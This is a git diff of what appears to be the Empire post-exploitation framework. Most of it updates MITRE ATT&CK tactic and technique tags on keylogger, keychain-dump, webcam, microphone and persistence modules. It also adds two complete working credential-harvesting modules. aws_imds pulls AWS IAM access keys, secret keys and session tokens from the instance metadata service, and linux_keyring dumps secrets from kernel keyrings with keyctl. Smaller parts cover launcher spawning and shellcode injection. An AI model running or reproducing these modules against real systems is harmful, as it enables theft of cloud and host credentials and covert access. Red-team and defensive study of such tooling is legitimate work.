b/empire/server/modules/python/collection/linux/sniffer.yaml index d86a98dd5..6ca28eb53 100644 --- a/empire/server/modules/python/collection/linux/sniffer.yaml +++ b/empire/server/modules/python/collection/linux/sniffer.yaml @@ -15,7 +15,7 @@ description: | reconnaissance, traffic analysis, and capturing sensitive data in transit. software: '' -tactics: [] +tactics: [TA0009, TA0006, TA0007] techniques: - T1040 background: false diff --git a/empire/server/modules/python/collection/linux/xkeylogger.yaml b/empire/server/modules/python/collection/linux/xkeylogger.yaml index b1ae50b45..bfefdc741 100644 --- a/empire/server/modules/python/collection/linux/xkeylogger.yaml +++ b/empire/server/modules/python/collection/linux/xkeylogger.yaml @@ -19,9 +19,9 @@ description: Captures keystrokes from X11 user sessions on Linux systems by leve keyloggers. This tool is intended for authorized security assessments, red teaming, or research in controlled environments only. software: '' -tactics: [] +tactics: [TA0009, TA0006] techniques: - - T1056 + - T1056.001 background: true output_extension: '' needs_admin: false diff --git a/empire/server/modules/python/collection/osx/browser_dump.yaml b/empire/server/modules/python/collection/osx/browser_dump.yaml index dabf4fe7d..7e670b456 100644 --- a/empire/server/modules/python/collection/osx/browser_dump.yaml +++ b/empire/server/modules/python/collection/osx/browser_dump.yaml @@ -15,7 +15,7 @@ description: | user profiling, and identifying potential targets or sensitive information accessed through web browsers. software: '' -tactics: [] +tactics: [TA0009, TA0007] techniques: - T1217 background: false diff --git a/empire/server/modules/python/collection/osx/clipboard.yaml b/empire/server/modules/python/collection/osx/clipboard.yaml index b380ed65a..ac5322b6d 100644 --- a/empire/server/modules/python/collection/osx/clipboard.yaml +++ b/empire/server/modules/python/collection/osx/clipboard.yaml @@ -14,10 +14,9 @@ description: | sensitive data that users copy and paste, including passwords, text snippets, and other confidential information. software: '' -tactics: [] +tactics: [TA0009] techniques: - T1115 - - T1414 background: false output_extension: '' needs_admin: false diff --git a/empire/server/modules/python/collection/osx/hashdump.yaml b/empire/server/modules/python/collection/osx/hashdump.yaml index aef9eca0d..207962484 100644 --- a/empire/server/modules/python/collection/osx/hashdump.yaml +++ b/empire/server/modules/python/collection/osx/hashdump.yaml @@ -14,9 +14,10 @@ description: | comprehensive user account enumeration including usernames and password hashes for all local users on macOS systems. software: '' -tactics: [] +tactics: [TA0009, TA0006] techniques: - T1003 + - T1005 background: false output_extension: '' needs_admin: true diff --git a/empire/server/modules/python/collection/osx/imessage_dump.yaml b/empire/server/modules/python/collection/osx/imessage_dump.yaml index f01c52d2b..5e884ff9f 100644 --- a/empire/server/modules/python/collection/osx/imessage_dump.yaml +++ b/empire/server/modules/python/collection/osx/imessage_dump.yaml @@ -19,9 +19,10 @@ description: | sensitive conversations, contact information, and understanding user communication patterns. software: '' -tactics: [] +tactics: [TA0006] techniques: - - T1081 + - T1005 + - T1552.001 background: false output_extension: '' needs_admin: false diff --git a/empire/server/modules/python/collection/osx/kerberosdump.yaml b/empire/server/modules/python/collection/osx/kerberosdump.yaml index cb7ddfaa1..de8e1f2c0 100644 --- a/empire/server/modules/python/collection/osx/kerberosdump.yaml +++ b/empire/server/modules/python/collection/osx/kerberosdump.yaml @@ -17,9 +17,9 @@ description: | Kerberos reconnaissance, and collecting authentication tickets for lateral movement in Active Directory environments. software: '' -tactics: [] +tactics: [TA0006] techniques: - - T1208 + - T1558.003 background: false output_extension: needs_admin: false diff --git a/empire/server/modules/python/collection/osx/keychaindump.yaml b/empire/server/modules/python/collection/osx/keychaindump.yaml index a03eea5b9..c3afc58c3 100644 --- a/empire/server/modules/python/collection/osx/keychaindump.yaml +++ b/empire/server/modules/python/collection/osx/keychaindump.yaml @@ -15,9 +15,10 @@ description: | website passwords, application passwords, and system credentials stored in the macOS Keychain. software: '' -tactics: [] +tactics: [TA0006] techniques: - - T1142 + - T1005 + - T1555.001 background: false output_extension: '' needs_admin: true diff --git a/empire/server/modules/python/collection/osx/keychaindump_chainbreaker.yaml b/empire/server/modules/python/collection/osx/keychaindump_chainbreaker.yaml index 64862b64c..c0bc79273 100644 --- a/empire/server/modules/python/collection/osx/keychaindump_chainbreaker.yaml +++ b/empire/server/modules/python/collection/osx/keychaindump_chainbreaker.yaml @@ -18,9 +18,10 @@ description: | credentials. Useful for post-exploitation credential harvesting when the user's password is known or obtained through other means. software: '' -tactics: [] +tactics: [TA0006] techniques: - - T1142 + - T1005 + - T1555.001 background: false output_extension: '' needs_admin: false diff --git a/empire/server/modules/python/collection/osx/keychaindump_decrypt.yaml b/empire/server/modules/python/collection/osx/keychaindump_decrypt.yaml index b61302bb9..533f75ac2 100644 --- a/empire/server/modules/python/collection/osx/keychaindump_decrypt.yaml +++ b/empire/server/modules/python/collection/osx/keychaindump_decrypt.yaml @@ -15,9 +15,10 @@ description: | extraction capabilities for website passwords, application passwords, and other stored credentials in the user's keychain. software: '' -tactics: [] +tactics: [TA0006] techniques: - - T1142 + - T1005 + - T1555.001 background: false output_extension: '' needs_admin: false diff --git a/empire/server/modules/python/collection/osx/keylogger.yaml b/empire/server/modules/python/collection/osx/keylogger.yaml index 965ad32af..3cdb1e51c 100644 --- a/empire/server/modules/python/collection/osx/keylogger.yaml +++ b/empire/server/modules/python/collection/osx/keylogger.yaml @@ -20,9 +20,9 @@ description: | analysis. Requires manual termination of the Ruby process when keylogging is complete. software: '' -tactics: [] +tactics: [TA0009, TA0006] techniques: - - T1056 + - T1056.001 background: false output_extension: '' needs_admin: false diff --git a/empire/server/modules/python/collection/osx/native_screenshot.yaml b/empire/server/modules/python/collection/osx/native_screenshot.yaml index d4e74180b..b82a9ec6b 100644 --- a/empire/server/modules/python/collection/osx/native_screenshot.yaml +++ b/empire/server/modules/python/collection/osx/native_screenshot.yaml @@ -12,7 +12,7 @@ description: | for capturing the current state of user desktops, including open applications, documents, and user activity. software: '' -tactics: [] +tactics: [TA0009] techniques: - T1113 background: false diff --git a/empire/server/modules/python/collection/osx/native_screenshot_mss.py b/empire/server/modules/python/collection/osx/native_screenshot_mss.py index 3cd5e628a..193e1fad9 100644 --- a/empire/server/modules/python/collection/osx/native_screenshot_mss.py +++ b/empire/server/modules/python/collection/osx/native_screenshot_mss.py @@ -13,9 +13,8 @@ def generate( obfuscate: bool = False, obfuscation_command: str = "", ) -> tuple[str | None, str | None]: - path = main_menu.installPath + "/data/misc/python_modules/mss.zip" - with open(path, "rb") as open_file: - module_data = open_file.read() + path = main_menu.install_path / "data/misc/python_modules/mss.zip" + module_data = path.read_bytes() module_data = base64.b64encode(module_data) return """ import os diff --git a/empire/server/modules/python/collection/osx/native_screenshot_mss.yaml b/empire/server/modules/python/collection/osx/native_screenshot_mss.yaml index ae3fa49d7..e455aa832 100644 --- a/empire/server/modules/python/collection/osx/native_screenshot_mss.yaml +++ b/empire/server/modules/python/collection/osx/native_screenshot_mss.yaml @@ -15,7 +15,7 @@ description: | surveillance, intelligence gathering, and understanding user behavior through visual analysis of desktop contents. software: '' -tactics: [] +tactics: [TA0009] techniques: - T1113 background: false diff --git a/empire/server/modules/python/collection/osx/osx_mic_record.yaml b/empire/server/modules/python/collection/osx/osx_mic_record.yaml index f687d1520..5a2e61966 100644 --- a/empire/server/modules/python/collection/osx/osx_mic_record.yaml +++ b/empire/server/modules/python/collection/osx/osx_mic_record.yaml @@ -14,9 +14,9 @@ description: | user interactions. Useful for surveillance, intelligence gathering, and monitoring user activities through audio capture. software: '' -tactics: [] +tactics: [TA0009] techniques: - - T1512 + - T1123 background: false output_extension: caf needs_admin: false diff --git a/empire/server/modules/python/collection/osx/pillage_user.yaml b/empire/server/modules/python/collection/osx/pillage_user.yaml index 7bc8aed82..48c57d193 100644 --- a/empire/server/modules/python/collection/osx/pillage_user.yaml +++ b/empire/server/modules/python/collection/osx/pillage_user.yaml @@ -15,9 +15,11 @@ description: | credential harvesting, user behavior analysis, and collecting sensitive configuration data for lateral movement and persistence. software: '' -tactics: [] +tactics: [TA0006] techniques: - - T1139 + - T1005 + - T1552.003 + - T1552.004 background: false output_extension: '' needs_admin: false diff --git a/empire/server/modules/python/collection/osx/prompt.yaml b/empire/server/modules/python/collection/osx/prompt.yaml index f3fb1d17d..254b0ba3b 100644 --- a/empire/server/modules/python/collection/osx/prompt.yaml +++ b/empire/server/modules/python/collection/osx/prompt.yaml @@ -17,10 +17,9 @@ description: | triggering user authentication prompts to capture passwords and other sensitive credentials. software: '' -tactics: [] +tactics: [TA0006, TA0009] techniques: - - T1141 - - T1514 + - T1056.002 background: false output_extension: '' needs_admin: false diff --git a/empire/server/modules/python/collection/osx/screensaver_alleyoop.yaml b/empire/server/modules/python/collection/osx/screensaver_alleyoop.yaml index c104e4e7e..a353bfe6e 100644 --- a/empire/server/modules/python/collection/osx/screensaver_alleyoop.yaml +++ b/empire/server/modules/python/collection/osx/screensaver_alleyoop.yaml @@ -24,9 +24,9 @@ description: | and forcing users to provide their passwords through persistent authentication prompts. software: '' -tactics: [] +tactics: [TA0009] techniques: - - T1113 + - T1056.002 background: false output_extension: '' needs_admin: false diff --git a/empire/server/modules/python/collection/osx/screenshot.yaml b/empire/server/modules/python/collection/osx/screenshot.yaml index f5c8e40ef..1b57cede7 100644 --- a/empire/server/modules/python/collection/osx/screenshot.yaml +++ b/empire/server/modules/python/collection/osx/screenshot.yaml @@ -11,7 +11,7 @@ description: | saved to disk, converted to base64 format for transmission, and then securely deleted. software: '' -tactics: [] +tactics: [TA0009] techniques: - T1113 background: false diff --git a/empire/server/modules/python/collection/osx/search_email.yaml b/empire/server/modules/python/collection/osx/search_email.yaml index 8a0a33da7..bdccf2f81 100644 --- a/empire/server/modules/python/collection/osx/search_email.yaml +++ b/empire/server/modules/python/collection/osx/search_email.yaml @@ -14,9 +14,9 @@ description: | sensitive email communications, contact information, and understanding user communication patterns. software: '' -tactics: [] +tactics: [TA0009] techniques: - - T1114 + - T1114.001 background: false output_extension: '' needs_admin: false diff --git a/empire/server/modules/python/collection/osx/sniffer.yaml b/empire/server/modules/python/collection/osx/sniffer.yaml index 150d51823..06e61edb8 100644 --- a/empire/server/modules/python/collection/osx/sniffer.yaml +++ b/empire/server/modules/python/collection/osx/sniffer.yaml @@ -18,7 +18,7 @@ description: | traffic analysis, and capturing sensitive data in transit on macOS systems. software: '' -tactics: [] +tactics: [TA0009, TA0006, TA0007] techniques: - T1040 background: false diff --git a/empire/server/modules/python/collection/osx/webcam.yaml b/empire/server/modules/python/collection/osx/webcam.yaml index 04b0528d7..451c423f8 100644 --- a/empire/server/modules/python/collection/osx/webcam.yaml +++ b/empire/server/modules/python/collection/osx/webcam.yaml @@ -12,7 +12,7 @@ description: | capabilities by capturing real-time images of the user or environment in front of the camera. software: '' -tactics: [] +tactics: [TA0009] techniques: - T1125 background: false diff --git a/empire/server/modules/python/credentials/aws_imds.yaml b/empire/server/modules/python/credentials/aws_imds.yaml new file mode 100644 index 000000000..1dd6842e5 --- /dev/null +++ b/empire/server/modules/python/credentials/aws_imds.yaml @@ -0,0 +1,165 @@ +name: aws_imds +authors: + - name: Anthony Rose + handle: '@Cx01N' + link: https://twitter.com/Cx01N_ +description: | + Queries the AWS EC2 Instance Metadata Service (IMDS) to retrieve temporary + IAM role credentials from an attached instance profile. Supports IMDSv2 + token-based access and IMDSv1 direct metadata requests with automatic + detection or operator-selected version mode. Works on EC2 instances with an + IAM role attached and collects role credentials alongside instance metadata + context. Retrieved credentials can be used for AWS API access, privilege + escalation paths, and cloud lateral movement in post-exploitation workflows. +software: '' +tactics: [TA0006] +techniques: [T1552.005] +background: false +output_extension: '' +needs_admin: false +opsec_safe: true +language: python +min_language_version: '2.6' +comments: + - https://docs.aws.amazon.com/IMDS/latest/userguide/ + - https://attack.mitre.org/techniques/T1552/005/ +options: + - name: Agent + description: Agent to run module on. + required: true + value: '' + - name: Endpoint + description: IMDS endpoint address. + required: false + value: '169.254.169.254' + - name: Version + description: IMDS version to use. + required: false + value: 'auto' + suggested_values: + - auto + - v1 + - v2 + - name: RoleName + description: IAM role name (auto-discovers if empty). + required: false + value: '' +script: | + import json + import urllib.error + import urllib.request + + endpoint = '{{ Endpoint }}'.strip() or '169.254.169.254' + version = '{{ Version }}'.strip().lower() or 'auto' + role_name = '{{ RoleName }}'.strip() + + timeout = 2 + base_url = 'http://{0}'.format(endpoint) + token = None + token_error = None + continue_execution = True + + if version not in ('auto', 'v1', 'v2'): + print('[!] Invalid Version option: {0}. Use auto, v1, or v2.'.format(version)) + continue_execution = False + + if continue_execution and version in ('auto', 'v2'): + token_url = '{0}/latest/api/token'.format(base_url) + token_request = urllib.request.Request(token_url, method='PUT') + token_request.add_header('X-aws-ec2-metadata-token-ttl-seconds', '21600') + try: + with urllib.request.urlopen(token_request, timeout=timeout) as response: + token = response.read().decode('utf-8').strip() + except Exception as exc: + token_error = str(exc) + if version == 'v2': + print('[!] IMDSv2 token request failed: {0}'.format(token_error)) + print('[!] Ensure this host is EC2 and IMDS is reachable/enabled.') + continue_execution = False + + if continue_execution: + headers = {} + if token: + headers['X-aws-ec2-metadata-token'] = token + imds_mode = 'v2' + else: + imds_mode = 'v1' + if version == 'auto' and token_error: + print('[*] IMDSv2 unavailable, falling back to IMDSv1: {0}'.format(token_error)) + + instance_id = 'unknown' + account_id = 'unknown' + region = 'unknown' + + instance_id_url = '{0}/latest/meta-data/instance-id'.format(base_url) + instance_id_request = urllib.request.Request(instance_id_url, headers=headers) + try: + with urllib.request.urlopen(instance_id_request, timeout=timeout) as response: + instance_id = response.read().decode('utf-8').strip() + except Exception as exc: + print('[!] Unable to retrieve instance ID from IMDS: {0}'.format(exc)) + + identity_url = '{0}/latest/dynamic/instance-identity/document'.format(base_url) + identity_request = urllib.request.Request(identity_url, headers=headers) + try: + with urllib.request.urlopen(identity_request, timeout=timeout) as response: + identity_data = json.loads(response.read().decode('utf-8')) + account_id = identity_data.get('accountId', account_id) + region = identity_data.get('region', region) + instance_id = identity_data.get('instanceId', instance_id) + except Exception as exc: + print('[!] Unable to retrieve identity document: {0}'.format(exc)) + + if not role_name: + role_url = '{0}/latest/meta-data/iam/security-credentials/'.format(base_url) + role_request = urllib.request.Request(role_url, headers=headers) + try: + with urllib.request.urlopen(role_request, timeout=timeout) as response: + role_list = response.read().decode('utf-8').strip() + if role_list: + role_name = role_list.splitlines()[0].strip() + else: + print('[!] No IAM role attached to this instance profile.') + except urllib.error.HTTPError as exc: + if exc.code == 404: + print('[!] IAM metadata endpoint not found. No role attached or IMDS restricted.') + elif exc.code == 401: + print('[!] Unauthorized metadata request. IMDSv2 token may be required.') + else: + print('[!] Failed to discover IAM role name: HTTP {0}'.format(exc.code)) + except Exception as exc: + print('[!] Failed to discover IAM role name: {0}'.format(exc)) + + if role_name: + creds_url = '{0}/latest/meta-data/iam/security-credentials/{1}'.format(base_url, role_name) + creds_request = urllib.request.Request(creds_url, headers=headers) + try: + with urllib.request.urlopen(creds_request, timeout=timeout) as response: + creds_raw = response.read().decode('utf-8') + + try: + creds = json.loads(creds_raw) + print('[+] Successfully queried AWS IMDS ({0})'.format(imds_mode)) + print('[+] Endpoint: {0}'.format(endpoint)) + print('[+] InstanceId: {0}'.format(instance_id)) + print('[+] AccountId: {0}'.format(account_id)) + print('[+] Region: {0}'.format(region)) + print('[+] RoleName: {0}'.format(role_name)) + print('[+] AccessKeyId: {0}'.format(creds.get('AccessKeyId', ''))) + print('[+] SecretAccessKey: {0}'.format(creds.get('SecretAccessKey', ''))) + print('[+] Token: {0}'.format(creds.get('Token', creds.get('SessionToken', '')))) + print('[+] Expiration: {0}'.format(creds.get('Expiration', ''))) + except Exception: + print('[*] Credential response was not valid JSON. Raw output follows:') + print(creds_raw) + except urllib.error.HTTPError as exc: + if exc.code == 404: + print('[!] IAM credentials endpoint not found for role: {0}'.format(role_name)) + elif exc.code == 401: + print('[!] Unauthorized when requesting credentials. IMDSv2 token may be required.') + else: + print('[!] Failed to retrieve credentials: HTTP {0}'.format(exc.code)) + except Exception as exc: + print('[!] Failed to retrieve credentials from IMDS: {0}'.format(exc)) + else: + print('[!] Could not determine IAM role name. No credentials retrieved.') diff --git a/empire/server/modules/python/credentials/linux_keyring.yaml b/empire/server/modules/python/credentials/linux_keyring.yaml new file mode 100644 index 000000000..f2fa3d9b6 --- /dev/null +++ b/empire/server/modules/python/credentials/linux_keyring.yaml @@ -0,0 +1,171 @@ +name: linux_keyring +authors: + - name: Anthony Rose + handle: '@Cx01N' + link: https://twitter.com/Cx01N_ +description: | + Reads potential secrets from the Linux kernel keyring subsystem using keyctl. + Kernel keyrings are commonly used by SSSD for cached domain credentials, Kerberos for ticket cache material, and CIFS for mount authentication data. + Access to key data outside the current security context typically requires root privileges or capabilities such as CAP_SYS_PTRACE. + This is an often-overlooked credential source during Linux post-exploitation and credential access operations. +software: '' +tactics: [TA0006] +techniques: [T1552.001] +background: false +output_extension: '' +needs_admin: true +opsec_safe: true +language: python +min_language_version: '2.6' +comments: + - https://man7.org/linux/man-pages/man7/keyrings.7.html +options: + - name: Agent + description: Agent to run module on. + required: true + value: '' + - name: KeyringID + description: Keyring to enumerate (user, session, process, or specific ID). + required: false + value: 'session' + suggested_values: + - user + - session + - process + - name: SearchType + description: Type of keys to search for. + required: false + value: '' + suggested_values: + - user + - logon + - keyring + - big_key +script: | + import re + import subprocess + + def run_keyring(): + keyring_input = '{{ KeyringID }}'.strip() + search_type = '{{ SearchType }}'.strip() + + keyring_aliases = { + 'user': '@u', + 'session': '@s', + 'process': '@p', + '@u': '@u', + '@s': '@s', + '@p': '@p', + } + + if keyring_input: + lower_keyring = keyring_input.lower() + if lower_keyring in keyring_aliases: + keyring_target = keyring_aliases[lower_keyring] + else: + keyring_target = keyring_input + else: + keyring_target = '@s' + + print('[*] Linux keyring enumeration') + print('[*] Target keyring: %s' % keyring_target) + + try: + version_proc = subprocess.Popen( + ['keyctl', '--version'], stdout=subprocess.PIPE, stderr=subprocess.PIPE + ) + version_stdout, version_stderr = version_proc.communicate() + except OSError: + print('[!] keyctl is not installed or not in PATH') + return + + if version_proc.returncode != 0: + print('[!] keyctl is not available: %s' % version_stderr.decode('utf-8', 'ignore').strip()) + return + + show_cmd = ['keyctl', 'show', keyring_target] + try: + show_proc = subprocess.Popen(show_cmd, stdout=subprocess.PIPE, stderr=subprocess.PIPE) + show_stdout, show_stderr = show_proc.communicate() + except Exception as e: + print('[!] Failed to run keyctl show: %s' % str(e)) + return + + if show_proc.returncode != 0: + print('[!] Failed to enumerate keyring %s: %s' % ( + keyring_target, + show_stderr.decode('utf-8', 'ignore').strip(), + )) + return + + allowed_ids = set() + if search_type: + try: + search_cmd = ['keyctl', 'search', keyring_target, search_type, ''] + search_proc = subprocess.Popen(search_cmd, stdout=subprocess.PIPE, stderr=subprocess.PIPE) + search_stdout, search_stderr = search_proc.communicate() + if search_proc.returncode == 0: + for found_id in re.findall(r'\b\d+\b', search_stdout.decode('utf-8', 'ignore')): + allowed_ids.add(found_id) + if allowed_ids: + print('[*] SearchType filter applied: %s (%d key(s) matched)' % (search_type, len(allowed_ids))) + else: + print('[*] SearchType filter returned no key IDs for type: %s' % search_type) + else: + print('[!] SearchType filter failed for "%s": %s' % ( + search_type, + search_stderr.decode('utf-8', 'ignore').strip(), + )) + except Exception as e: + print('[!] SearchType filter error: %s' % str(e)) + + show_text = show_stdout.decode('utf-8', 'ignore') + key_lines = [] + for line in show_text.splitlines(): + match = re.match(r'^\s*(?:\\_\s*)?(\d+)\s+\S+\s+\d+\s+\d+\s+([a-zA-Z0-9_]+):\s*(.*)$', line) + if match: + key_lines.append((match.group(1), match.group(2), match.group(3).strip())) + + if not key_lines: + print('[*] No keys found in keyring %s' % keyring_target) + return + + print('') + print('[*] Key results') + print('-' * 80) + + printed = 0 + for key_id, key_type, key_desc in key_lines: + if allowed_ids and key_id not in allowed_ids: + continue + + value = None + try: + print_proc = subprocess.Popen(['keyctl', 'print', key_id], stdout=subprocess.PIPE, stderr=subprocess.PIPE) + print_stdout, print_stderr = print_proc.communicate() + if print_proc.returncode == 0: + value = print_stdout.decode('utf-8', 'ignore').strip() + else: + pipe_proc = subprocess.Popen(['keyctl', 'pipe', key_id], stdout=subprocess.PIPE, stderr=subprocess.PIPE) + pipe_stdout, pipe_stderr = pipe_proc.communicate() + if pipe_proc.returncode == 0: + value = pipe_stdout.decode('utf-8', 'ignore').strip() + else: + err_text = print_stderr.decode('utf-8', 'ignore').strip() + if not err_text: + err_text = pipe_stderr.decode('utf-8', 'ignore').strip() + value = '[unreadable: %s]' % (err_text if err_text else 'permission denied or unsupported key type') + except Exception as e: + value = '[error reading key: %s]' % str(e) + + print('Key ID : %s' % key_id) + print('Type : %s' % key_type) + print('Description : %s' % key_desc) + print('Value : %s' % (value if value else '[empty]')) + print('-' * 80) + printed += 1 + + if printed == 0 and allowed_ids: + print('[*] No keys matched SearchType "%s" in keyring %s' % (search_type, keyring_target)) + + run_keyring() diff --git a/empire/server/modules/python/discovery/nameserver.yaml b/empire/server/modules/python/discovery/nameserver.yaml index b60ea1c1d..3ac2afd82 100644 --- a/empire/server/modules/python/discovery/nameserver.yaml +++ b/empire/server/modules/python/discovery/nameserver.yaml @@ -10,6 +10,7 @@ description: | essential network reconnaissance information for understanding the target's network infrastructure and DNS configuration. software: '' +tactics: [TA0007] techniques: - T1016.001 background: false diff --git a/empire/server/modules/python/exploit/web/jboss_jmx.yaml b/empire/server/modules/python/exploit/web/jboss_jmx.yaml index 692f49bbd..ad503e412 100644 --- a/empire/server/modules/python/exploit/web/jboss_jmx.yaml +++ b/empire/server/modules/python/exploit/web/jboss_jmx.yaml @@ -12,7 +12,7 @@ description: | Requires a pre-generated ysoserial payload file containing the desired command execution code. software: '' -tactics: [] +tactics: [TA0002, TA0008] techniques: - T1210 background: false diff --git a/empire/server/modules/python/lateral_movement/multi/ssh_command.yaml b/empire/server/modules/python/lateral_movement/multi/ssh_command.yaml index 5b8c5968c..20346a1d3 100644 --- a/empire/server/modules/python/lateral_movement/multi/ssh_command.yaml +++ b/empire/server/modules/python/lateral_movement/multi/ssh_command.yaml @@ -13,7 +13,7 @@ description: | network segments, remote command execution, and maintaining access to multiple systems through SSH connections. software: '' -tactics: [] +tactics: [TA0008] techniques: - T1021 background: true diff --git a/empire/server/modules/python/lateral_movement/multi/ssh_launcher.py b/empire/server/modules/python/lateral_movement/multi/ssh_launcher.py index 81a9d61a2..6e5fe638e 100644 --- a/empire/server/modules/python/lateral_movement/multi/ssh_launcher.py +++ b/empire/server/modules/python/lateral_movement/multi/ssh_launcher.py @@ -1,6 +1,6 @@ from empire.server.common.empire import MainMenu +from empire.server.core.exceptions import ModuleValidationException from empire.server.core.module_models import EmpireModule -from empire.server.utils.module_util import handle_error_message class Module: @@ -28,7 +28,7 @@ def generate( launcher = launcher.replace("'", "\\'") launcher = launcher.replace('"', '\\"') if launcher == "": - return handle_error_message("[!] Error in launcher command generation.") + raise ModuleValidationException("Error in launcher command generation.") return f""" import os import pty diff --git a/empire/server/modules/python/lateral_movement/multi/ssh_launcher.yaml b/empire/server/modules/python/lateral_movement/multi/ssh_launcher.yaml index 88d2eab80..79ddf5cd9 100644 --- a/empire/server/modules/python/lateral_movement/multi/ssh_launcher.yaml +++ b/empire/server/modules/python/lateral_movement/multi/ssh_launcher.yaml @@ -15,7 +15,7 @@ description: | remote systems, and expanding the attack surface through legitimate SSH connections. software: '' -tactics: [] +tactics: [TA0008] techniques: - T1021 background: true diff --git a/empire/server/modules/python/management/multi/kerberos_inject.yaml b/empire/server/modules/python/management/multi/kerberos_inject.yaml index b6f4b52e6..be9cd7b26 100644 --- a/empire/server/modules/python/management/multi/kerberos_inject.yaml +++ b/empire/server/modules/python/management/multi/kerberos_inject.yaml @@ -13,7 +13,7 @@ description: | using pre-computed credentials without requiring password prompts. software: '' -tactics: [] +tactics: [TA0002, TA0004, TA0005] techniques: - T1055 background: false diff --git a/empire/server/modules/python/management/multi/socks.yaml b/empire/server/modules/python/management/multi/socks.yaml index 96bcfeecb..ff02f6495 100644 --- a/empire/server/modules/python/management/multi/socks.yaml +++ b/empire/server/modules/python/management/multi/socks.yaml @@ -11,7 +11,7 @@ description: | a standalone AlmondRocks server to be configured and running for the relay to connect to. software: '' -tactics: [] +tactics: [TA0002, TA0011] techniques: - T1090 background: true diff --git a/empire/server/modules/python/management/multi/spawn.py b/empire/server/modules/python/management/multi/spawn.py index 5e261d864..ffef1ac67 100644 --- a/empire/server/modules/python/management/multi/spawn.py +++ b/empire/server/modules/python/management/multi/spawn.py @@ -1,6 +1,6 @@ from empire.server.common.empire import MainMenu +from empire.server.core.exceptions import ModuleValidationException from empire.server.core.module_models import EmpireModule -from empire.server.utils.module_util import handle_error_message class Module: @@ -22,7 +22,7 @@ def generate( ) if launcher == "": - return handle_error_message("[!] Error in launcher command generation.") + raise ModuleValidationException("Error in launcher command generation.") launcher = launcher.replace('"', '\\"') return f'import os; os.system("{launcher}")' diff --git a/empire/server/modules/python/management/multi/spawn.yaml b/empire/server/modules/python/management/multi/spawn.yaml index a91ca7948..fb8a97433 100644 --- a/empire/server/modules/python/management/multi/spawn.yaml +++ b/empire/server/modules/python/management/multi/spawn.yaml @@ -10,9 +10,9 @@ description: | lateral movement, or process migration. The new agent connects to the designated listener with configurable User-Agent settings. software: '' -tactics: [] +tactics: [TA0002] techniques: - - T1050 + - T1059.006 background: true output_extension: '' needs_admin: false diff --git a/empire/server/modules/python/management/osx/screen_sharing.yaml b/empire/server/modules/python/management/osx/screen_sharing.yaml index 9e89bc0e7..cf553f95b 100644 --- a/empire/server/modules/python/management/osx/screen_sharing.yaml +++ b/empire/server/modules/python/management/osx/screen_sharing.yaml @@ -14,7 +14,7 @@ description: | reconnaissance, and maintaining persistent access through legitimate remote management protocols. software: '' -tactics: [] +tactics: [TA0002, TA0008] techniques: - T1021 background: false diff --git a/empire/server/modules/python/management/osx/shellcodeinject64.py b/empire/server/modules/python/management/osx/shellcodeinject64.py index b89edb61a..01d5ec9f7 100644 --- a/empire/server/modules/python/management/osx/shellcodeinject64.py +++ b/empire/server/modules/python/management/osx/shellcodeinject64.py @@ -1,9 +1,9 @@ import base64 -import os +from pathlib import Path from empire.server.common.empire import MainMenu +from empire.server.core.exceptions import ModuleValidationException from empire.server.core.module_models import EmpireModule -from empire.server.utils.module_util import handle_error_message class Module: @@ -18,11 +18,11 @@ def generate( processID = params["PID"] shellcodeBinPath = params["Shellcode"] - if not os.path.exists(shellcodeBinPath): - return handle_error_message("[!] Shellcode bin file not found.") + shellcode_path = Path(shellcodeBinPath) + if not shellcode_path.exists(): + raise ModuleValidationException("Shellcode bin file not found.") - with open(shellcodeBinPath, "rb") as f: - shellcode = base64.b64encode(f.read()) + shellcode = base64.b64encode(shellcode_path.read_bytes()) script = """ from ctypes import * diff --git a/empire/server/modules/python/persistence/multi/crontab.yaml b/empire/server/modules/python/persistence/multi/crontab.yaml index 8315da9f9..37f2368ba 100644 --- a/empire/server/modules/python/persistence/multi/crontab.yaml +++ b/empire/server/modules/python/persistence/multi/crontab.yaml @@ -15,9 +15,9 @@ description: | tasks, and establishing persistence that survives system reboots and user sessions. software: '' -tactics: [] +tactics: [TA0002, TA0003, TA0004] techniques: - - T1168 + - T1053.003 background: false output_extension: '' needs_admin: false diff --git a/empire/server/modules/python/persistence/multi/desktopfile.yaml b/empire/server/modules/python/persistence/multi/desktopfile.yaml index 784b53d60..4eafdeabf 100644 --- a/empire/server/modules/python/persistence/multi/desktopfile.yaml +++ b/empire/server/modules/python/persistence/multi/desktopfile.yaml @@ -15,9 +15,9 @@ description: | establishing persistence on Linux desktop systems and maintaining access across user sessions and system reboots. software: '' -tactics: [] +tactics: [TA0003, TA0004] techniques: - - T1165 + - T1037.005 background: false output_extension: needs_admin: false diff --git a/empire/server/modules/python/persistence/osx/CreateHijacker.yaml b/empire/server/modules/python/persistence/osx/CreateHijacker.yaml index 63d671012..15e679e99 100644 --- a/empire/server/modules/python/persistence/osx/CreateHijacker.yaml +++ b/empire/server/modules/python/persistence/osx/CreateHijacker.yaml @@ -18,9 +18,9 @@ description: | persistence through application hijacking and maintaining access when vulnerable applications are launched. software: '' -tactics: [] +tactics: [TA0003, TA0004, TA0005] techniques: - - T1157 + - T1574.004 background: false output_extension: '' needs_admin: true diff --git a/empire/server/modules/python/persistence/osx/LaunchAgent.yaml b/empire/server/modules/python/persistence/osx/LaunchAgent.yaml index daf259726..3b4428951 100644 --- a/empire/server/modules/python/persistence/osx/LaunchAgent.yaml +++ b/empire/server/modules/python/persistence/osx/LaunchAgent.yaml @@ -14,9 +14,9 @@ description: | reliable persistence mechanism that survives user logouts and system restarts. software: '' -tactics: [] +tactics: [TA0003, TA0004, TA0005] techniques: - - T1055 + - T1543.001 background: false output_extension: needs_admin: false diff --git a/empire/server/modules/python/persistence/osx/LaunchAgentUserLandPersistence.yaml b/empire/server/modules/python/persistence/osx/LaunchAgentUserLandPersistence.yaml index 877ba6cea..18fbf7957 100644 --- a/empire/server/modules/python/persistence/osx/LaunchAgentUserLandPersistence.yaml +++ b/empire/server/modules/python/persistence/osx/LaunchAgentUserLandPersistence.yaml @@ -18,9 +18,9 @@ description: | user-level persistence mechanism that survives user logouts and system restarts. software: '' -tactics: [] +tactics: [TA0003, TA0004, TA0005] techniques: - - T1055 + - T1543.001 background: false output_extension: needs_admin: false diff --git a/empire/server/modules/python/persistence/osx/RemoveLaunchAgent.yaml b/empire/server/modules/python/persistence/osx/RemoveLaunchAgent.yaml index ded519090..e1743727e 100644 --- a/empire/server/modules/python/persistence/osx/RemoveLaunchAgent.yaml +++ b/empire/server/modules/python/persistence/osx/RemoveLaunchAgent.yaml @@ -16,9 +16,9 @@ description: | and maintaining operational security by eliminating persistence artifacts. software: '' -tactics: [] +tactics: [TA0003, TA0004, TA0005] techniques: - - T1055 + - T1543.001 